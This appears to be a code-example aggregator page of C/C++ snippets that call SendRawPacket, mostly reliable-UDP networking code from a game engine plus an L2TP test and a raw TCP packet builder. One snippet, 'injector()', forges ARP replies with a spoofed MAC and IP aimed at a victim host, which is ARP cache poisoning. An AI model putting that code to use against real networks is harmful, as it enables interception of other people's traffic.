void CRemoteConnection::Update(const bool inInitialConnect)
{
	if (!active)
		return;

	const float curTime = static_cast<float>(SDL_GetTicks())/1000.0f;

	if(inInitialConnect && lastSendTime<curTime-1){		//server hasnt responded so try to send the connection attempt again
		SendRawPacket(unackedPackets[0]->data,unackedPackets[0]->length,0);
		lastSendTime=curTime;
	}
	if(lastSendTime<curTime-5 && !inInitialConnect){		//we havent sent anything for a while so send something to prevent timeout
		Ping();
	}
	if(lastSendTime<curTime-0.2f && !waitingPackets.empty()){	//we have at least one missing incomming packet lying around so send a packet to ensure the other side get a nak
		Ping();
	}

	if(lastReceiveTime < curTime-(inInitialConnect ? 40 : 30))
	{
		active=false;
	}

	if(outgoingLength>0 && (lastSendTime < (curTime-0.2f+outgoingLength*0.01f) || lastSendFrame < gs->frameNum-1)){
		Flush();
	}
}
void CRemoteConnection::ProcessRawPacket(const unsigned char* data, const unsigned length)
{
	lastReceiveTime=static_cast<float>(SDL_GetTicks())/1000.0f;

	const unsigned hsize = 9;
	int packetNum=*(int*)data;
	int ack=*(int*)(data+4);
	unsigned char nak = *(unsigned char*)(data+8);

	AckPackets(ack);

	if (nak > 0)	// we have lost $nak packets
	{
		int nak_abs = nak + firstUnacked - 1;
		if (nak_abs!=lastNak || lastNakTime < lastReceiveTime-0.1f)
		{
			// resend all packets from firstUnacked till nak_abs
			lastNak=nak_abs;
			lastNakTime=lastReceiveTime;
			for(int b=firstUnacked;b<=nak_abs;++b){
				SendRawPacket(unackedPackets[b-firstUnacked]->data,unackedPackets[b-firstUnacked]->length,b);
				++resentPackets;
			}
		}
	}

	if(!active || lastInOrder>=packetNum || waitingPackets.find(packetNum)!=waitingPackets.end())
		return;

	Packet* p=SAFE_NEW Packet(data+hsize,length-hsize);
	waitingPackets[packetNum]=p;

	dataRecv += length;
	recvOverhead += hsize;
}
Ejemplo n.º 3
0
void UDPConnection::Update()
{
	if (!sharedSocket)
	{
		unsigned recv = 0;
		unsigned char buffer[UDPBufferSize];
		sockaddr_in fromAddr;
		while ((recv = mySocket->RecvFrom(buffer, UDPBufferSize, &fromAddr)) >= hsize)
		{
			RawPacket* data = new RawPacket(buffer, recv);
			if (CheckAddress(fromAddr))
				ProcessRawPacket(data);
			else
				; // silently drop
		}
	}
	
	const unsigned curTime = SDL_GetTicks();
	bool force = false;	// should we force to send a packet?

	if((dataRecv == 0) && lastSendTime < curTime-1000 && !unackedPackets.empty()){		//server hasnt responded so try to send the connection attempt again
		SendRawPacket(unackedPackets[0].data,unackedPackets[0].length,0);
		lastSendTime = curTime;
		force = true;
	}

	if (lastSendTime<curTime-5000 && !(dataRecv == 0)) { //we havent sent anything for a while so send something to prevent timeout
		force = true;
	}
	else if(lastSendTime<curTime-200 && !waitingPackets.empty()){	//we have at least one missing incomming packet lying around so send a packet to ensure the other side get a nak
		force = true;
	}

	Flush(force);
}
Ejemplo n.º 4
0
void CNet::ProcessRawPacket(unsigned char* data, int length, int conn)
{
    Connection* c=&connections[conn];
    c->lastReceiveTime=curTime;

    int packetNum=*(int*)data;
    int ack=*(int*)&data[4];
    int hsize=9;

    while(ack>=c->firstUnacked) {
        delete c->unackedPackets.front();
        c->unackedPackets.pop_front();
        c->firstUnacked++;
    }
//	if(!imServer)
//		logOutput.Print("Got packet %i %i %i %i %i %i",(int)imServer,packetNum,length,ack,c->lastInOrder,c->waitingPackets.size());
    if(data[8]==1) {
        hsize=13;
        int nak=*(int*)&data[9];
//		logOutput.Print("Got nak %i %i %i",nak,c->lastNak,c->firstUnacked);
        if(nak!=c->lastNak || c->lastNakTime < curTime-0.1f) {
            c->lastNak=nak;
            c->lastNakTime=curTime;
            for(int b=c->firstUnacked; b<=nak; ++b) {
                SendRawPacket(conn,c->unackedPackets[b-c->firstUnacked]->data,c->unackedPackets[b-c->firstUnacked]->length,b);
            }
        }
    }

    if(!c->active || c->lastInOrder>=packetNum || c->waitingPackets.find(packetNum)!=c->waitingPackets.end())
        return;

    Packet* p=new Packet(data+hsize,length-hsize);
    c->waitingPackets[packetNum]=p;
}
Ejemplo n.º 5
0
void UDPConnection::Flush(const bool forced)
{
	const float curTime = SDL_GetTicks();
	if (forced || (outgoingLength>0 && (lastSendTime < (curTime - 200 + outgoingLength * 10))))
	{
		lastSendTime=SDL_GetTicks();

		// Manually fragment packets to respect configured UDP_MTU.
		// This is an attempt to fix the bug where players drop out of the game if
		// someone in the game gives a large order.

		if (outgoingLength > mtu)
			++fragmentedFlushes;

		unsigned pos = 0;
		do
		{
			unsigned length = std::min(mtu, outgoingLength);
			SendRawPacket(outgoingData + pos, length, currentNum++);
			unackedPackets.push_back(new RawPacket(outgoingData + pos, length));
			outgoingLength -= length;
			pos += mtu;
		} while (outgoingLength > 0);
	}
}
Ejemplo n.º 6
0
injector() {
	
	int raw;
	int counter=MAX_PACKETS;
	EthernetHeader *ethernet_header;
	ArpHeader * arp_header;
	void * buff = malloc(sizeof(EthernetHeader)+sizeof(ArpHeader));
	
	/* create the raw socket */
	raw = CreateRawSocket(ETH_P_ALL);
	/* bind socket to interface */
	BindRawSocketToInterface(interface,raw,ETH_P_ALL);

	while(counter) {

			ethernet_header = (EthernetHeader*)buff;
			arp_header = (ArpHeader*)(buff+sizeof(EthernetHeader));
			/* change the ethernet headers */
			/* copy the source address of the packet as the destination address */

			memcpy(ethernet_header->destination, (void*)ether_aton(victim_mac),6);

			/* copy the spoofed MAC as the source address of the packet */
			memcpy(ethernet_header->source, (void*)ether_aton(spoofed_mac),6);
			ethernet_header->protocol = htons(ETH_P_ARP);

			/* change the arp headers accordingly */
			/* make it into an arp reply */
			arp_header->hardware_type=256;
			arp_header->protocol_type=htons(ETH_P_IP);
			arp_header->opcode = htons(ARPOP_REPLY);
			arp_header->hard_prot_len=1030;

			/* adjust the MAC addresses and IP addresses accordingly in the arp header */
			memcpy(arp_header->source_hardware, (void*)ether_aton(spoofed_mac),6);
			memcpy(arp_header->dest_hardware, (void*)ether_aton(victim_mac), 6);

			inet_aton(victim_ip, arp_header->dest_ip);
			inet_aton(spoofed_ip, arp_header->source_ip);

			

			/* send it out */
			if(SendRawPacket(raw, buff, sizeof(EthernetHeader)+sizeof(ArpHeader))) {
				printf("injector: inject ARP reply\n");
			}
			else {
				printf("injector: unable to inject\n");
			}

			PrintPacketInHex(buff,sizeof(EthernetHeader)+sizeof(ArpHeader));			

			counter--;
	}
	free(buff);
	close(raw);	
}
/* argv[1] is the device e.g. eth0
   argv[2] is the number of packets to send
*/ 
int main(int argc, char **argv){
	if (argc < 1){
		perror("Arguments?\n");
		return 1;
	}

	int raw;
	unsigned char* packet;
	struct ethhdr *ethernet_header;
	struct iphdr *ip_header;
	struct tcphdr  *tcp_header;
	unsigned char *data;	
	int num_of_pkts;
	int pkt_len;
	
	/* Create the raw socket */
	raw = CreateRawSocket(ETH_P_ALL);

	/* Bind raw socket to interface */
	BindRawSocketToInterface(argv[1], raw, ETH_P_ALL);
	//num_of_pkts = atoi(argv[2]);

	ethernet_header = CreateEthernetHeader();
	ip_header = CreateIPHeader();
	tcp_header = CreateTcpHeader();
	data = CreateData(DATA_SIZE);

	/* Create PseudoHeader and compute TCP Checksum  */
	CreatePseudoHeaderAndComputeTcpChecksum(tcp_header, ip_header, data);

	//pkt_len = sizeof(struct ethhdr) + sizeof(struct iphdr);
	pkt_len = sizeof(struct ethhdr) + ntohs(ip_header->tot_len);

	packet = (unsigned char *) malloc(pkt_len);
	memcpy(packet, ethernet_header, sizeof(struct ethhdr));
	memcpy((packet + sizeof(struct ethhdr)), ip_header, ip_header->ihl*4);
	memcpy((packet + sizeof(struct ethhdr) + ip_header->ihl*4),tcp_header, tcp_header->doff*4);
	memcpy((packet + sizeof(struct ethhdr) + ip_header->ihl*4 + tcp_header->doff*4), data, DATA_SIZE);

	//while((num_of_pkts--)>0){
		if(!SendRawPacket(raw, packet, pkt_len))
			perror("Error sending packet");
		else
			printf("Packet sent successfully\n");
	//}

	/*free(ethernet_header);
	free(ip_header);
	free(tcp_header);
	free(data);
	free(packet);*/

	close(raw);

	return 0;
}
Ejemplo n.º 8
0
void CNet::FlushConnection(int conn)
{
    Connection* c=&connections[conn];
    c->lastSendFrame=gs->frameNum;
    c->lastSendTime=curTime;

    SendRawPacket(conn,c->outgoingData,c->outgoingLength,c->currentNum++);
    Packet* p=new Packet(c->outgoingData,c->outgoingLength);
    c->outgoingLength=0;
    c->unackedPackets.push_back(p);
}
Ejemplo n.º 9
0
int main(int argc, char **argv)
{
  int server_sock, session_sock;
  
  if (argc > 1) TestInit(0);

  server_sock = OpenUDPSocket( 1701 );
  session_sock = OpenPPPoL2TPSocket();

  /* Try sending packets first to see if that helps */
  // SendRawPacket( server_sock, 1701, control_packet, sizeof( control_packet ) );
  // SendRawPacket( server_sock, 1701, data_packet,    sizeof( data_packet    ) );

  fcntl( server_sock, F_SETFL, O_NONBLOCK );
  fcntl( session_sock, F_SETFL, O_NONBLOCK );
  
  CheckPipe( server_sock );
  
  ConnectSock( session_sock, server_sock, 1701, 1, 2, 3, 4 );

  system( "./subtest-proc" );
  
  SendRawPacket( server_sock, 1701, control_packet, sizeof( control_packet ) );
  SendRawPacket( server_sock, 1701, data_packet,    sizeof( data_packet    ) );

  system( "./subtest-proc" );

  CheckPipe( server_sock );
  CheckPipe( session_sock );

  system( "./subtest-proc" );
  
  /* Close session socket first, because other way round breaks right now */  
  TestPrintf( "Closing session socket\n" );  
  close( session_sock );
  TestPrintf( "Closing server socket\n" );  
  close( server_sock );
  
  return 0;
}
void CRemoteConnection::Flush()
{
	if (outgoingLength <= 0)
		return;

	lastSendFrame=gs->frameNum;
	lastSendTime=static_cast<float>(SDL_GetTicks())/1000.0f;

	// Manually fragment packets to respect configured MTU.
	// This is an attempt to fix the bug where players drop out of the game if
	// someone in the game gives a large order.

	if (outgoingLength > mtu)
		++fragmentedFlushes;

	for (int pos = 0; outgoingLength != 0; pos += mtu) {
		int length = std::min(mtu, outgoingLength);
		SendRawPacket(outgoingData + pos, length, currentNum++);
		Packet* p = SAFE_NEW Packet(outgoingData + pos, length);
		outgoingLength -= length;
		unackedPackets.push_back(p);
	}
}
Ejemplo n.º 11
0
void CNet::Update(void)
{
    Uint64 t;
    t = SDL_GetTicks();
    curTime=float(t)/1000.f;
    if(playbackDemo)
        ReadDemoFile();
    if(onlyLocal) {
        return;
    }
    sockaddr_in from;
    socklen_t fromsize;
    fromsize=sizeof(from);
    int r;
    unsigned char inbuf[16000];
    if(connected)
        while(true) {
            if((r=recvfrom(mySocket,(char*)inbuf,16000,0,(sockaddr*)&from,&fromsize))==SOCKET_ERROR) {
                if (IsFakeError())
                    break;
                char test[500];
                sprintf(test,"Error receiving data. %i %d",(int)imServer,WSAGetLastError());
                handleerror(NULL,test,"SHUTDOWN ERROR",MBF_OK | MBF_INFO);
                exit(0);
            }
            int conn=ResolveConnection(&from);
            if(conn==-1) {
                if(waitOnCon && r>=12 && (*(int*)inbuf)==0 && (*(int*)&inbuf[4])==-1 && inbuf[8]==0 && inbuf[9]==NETMSG_ATTEMPTCONNECT && inbuf[11]==NETWORK_VERSION) {
                    conn=InitNewConn(&from,false,inbuf[10]);
                } else {
                    continue;
                }
            }
            inInitialConnect=false;
            int packetNum=(*(int*)inbuf);
            ProcessRawPacket(inbuf,r,conn);
        }

    for(int a=0; a<gs->activePlayers; ++a) {
        Connection* c=&connections[a];
        if(c->localConnection || !c->active)
            continue;
        std::map<int,Packet*>::iterator wpi;
        while((wpi=c->waitingPackets.find(c->lastInOrder+1))!=c->waitingPackets.end()) {		//process all in order packets that we have waiting
            if(c->readyLength+wpi->second->length>=NETWORK_BUFFER_SIZE) {
                logOutput.Print("Overflow in incoming network buffer");
                break;
            }
            memcpy(&c->readyData[c->readyLength],wpi->second->data,wpi->second->length);
            c->readyLength+=wpi->second->length;
            delete wpi->second;
            c->waitingPackets.erase(wpi);
            c->lastInOrder++;
        }
        if(inInitialConnect && c->lastSendTime<curTime-1) {		//server hasnt responded so try to send the connection attempt again
            SendRawPacket(a,c->unackedPackets[0]->data,c->unackedPackets[0]->length,0);
            c->lastSendTime=curTime;
        }

        if(c->lastSendTime<curTime-5 && !inInitialConnect) {		//we havent sent anything for a while so send something to prevent timeout
            SendData(NETMSG_HELLO);
        }
        if(c->lastSendTime<curTime-0.2f && !c->waitingPackets.empty()) {	//we have at least one missing incomming packet lying around so send a packet to ensure the other side get a nak
            SendData(NETMSG_HELLO);
        }
        if(c->lastReceiveTime < curTime-(inInitialConnect ? 40 : 30)) {		//other side has timed out
            c->active=false;
        }

        if(c->outgoingLength>0 && (c->lastSendTime < (curTime-0.2f+c->outgoingLength*0.01f) || c->lastSendFrame < gs->frameNum-1)) {
            FlushConnection(a);
        }
    }
}
Ejemplo n.º 12
0
void UDPConnection::ProcessRawPacket(RawPacket* packet)
{
	lastReceiveTime=SDL_GetTicks();
	dataRecv += packet->length;
	recvOverhead += hsize;
	++recvPackets;

	int packetNum = *(int*)packet->data;
	int ack = *(int*)(packet->data+4);
	unsigned char nak = packet->data[8];

	AckPackets(ack);

	if (nak > 0)	// we have lost $nak packets
	{
		int nak_abs = nak + firstUnacked - 1;
		if (nak_abs >= currentNum)
		{
			// we got a nak for packets which never got sent
			//TODO give error message
		}
		else if (nak_abs != lastNak || lastNakTime < lastReceiveTime-100)
		{
			// resend all packets from firstUnacked till nak_abs
			lastNak=nak_abs;
			lastNakTime=lastReceiveTime;
			for (int b = firstUnacked; b <= nak_abs; ++b)
			{
				SendRawPacket(unackedPackets[b-firstUnacked].data,unackedPackets[b-firstUnacked].length,b);
				++resentPackets;
			}
		}
	}

	if (lastInOrder >= packetNum || waitingPackets.find(packetNum) != waitingPackets.end())
	{
		++droppedPackets;
		delete packet;
		return;
	}

	waitingPackets.insert(packetNum, new RawPacket(packet->data + hsize, packet->length - hsize));
	delete packet;
	packet = NULL;

	packetMap::iterator wpi;
	//process all in order packets that we have waiting
	while ((wpi = waitingPackets.find(lastInOrder+1)) != waitingPackets.end())
	{
		unsigned char buf[UDPBufferSize];
		unsigned bufLength = 0;

		if (fragmentBuffer)
		{
			// combine with fragment buffer
			bufLength += fragmentBuffer->length;
			assert(fragmentBuffer->length < UDPBufferSize);
			memcpy(buf, fragmentBuffer->data, bufLength);
			delete fragmentBuffer;
			fragmentBuffer = NULL;
		}

		lastInOrder++;
#if (BOOST_VERSION >= 103400)
		assert((wpi->second->length + bufLength) < UDPBufferSize);
		memcpy(buf + bufLength, wpi->second->data, wpi->second->length);
		bufLength += (wpi->second)->length;
#else
		memcpy(buf + bufLength, (*wpi).data, (*wpi).length);
		bufLength += (*wpi).length;
#endif
		waitingPackets.erase(wpi);

		for (unsigned pos = 0; pos < bufLength;)
		{
			char msgid = buf[pos];
			ProtocolDef* proto = ProtocolDef::instance();
			if (proto->IsAllowed(msgid))
			{
				unsigned msglength = 0;
				if (proto->HasFixedLength(msgid))
				{
					msglength = proto->GetLength(msgid);
				}
				else
				{
					int length_t = proto->GetLength(msgid);

					// got enough data in the buffer to read the length of the message?
					if (bufLength > pos - length_t)
					{
						// yes => read the length (as byte or word)
						if (length_t == -1)
						{
							msglength = buf[pos+1];
						}
						else if (length_t == -2)
						{
							msglength = *(short*)(buf+pos+1);
						}
					}
					else
					{
						// no => store the fragment and break
						fragmentBuffer = new RawPacket(buf + pos, bufLength - pos);
						break;
					}
				}

				// if this isn't true we'll loop infinitely while filling up memory
				assert(msglength != 0);

				// got the complete message in the buffer?
				if (bufLength >= pos + msglength)
				{
					// yes => add to msgQueue and keep going
					msgQueue.push_back(boost::shared_ptr<const RawPacket>(new RawPacket(buf + pos, msglength)));
					pos += msglength;
				}
				else
				{
					// no => store the fragment and break
					fragmentBuffer = new RawPacket(buf + pos, bufLength - pos);
					break;
				}
			}
			else
			{
				// error
				pos++;
			}
		}
	}
}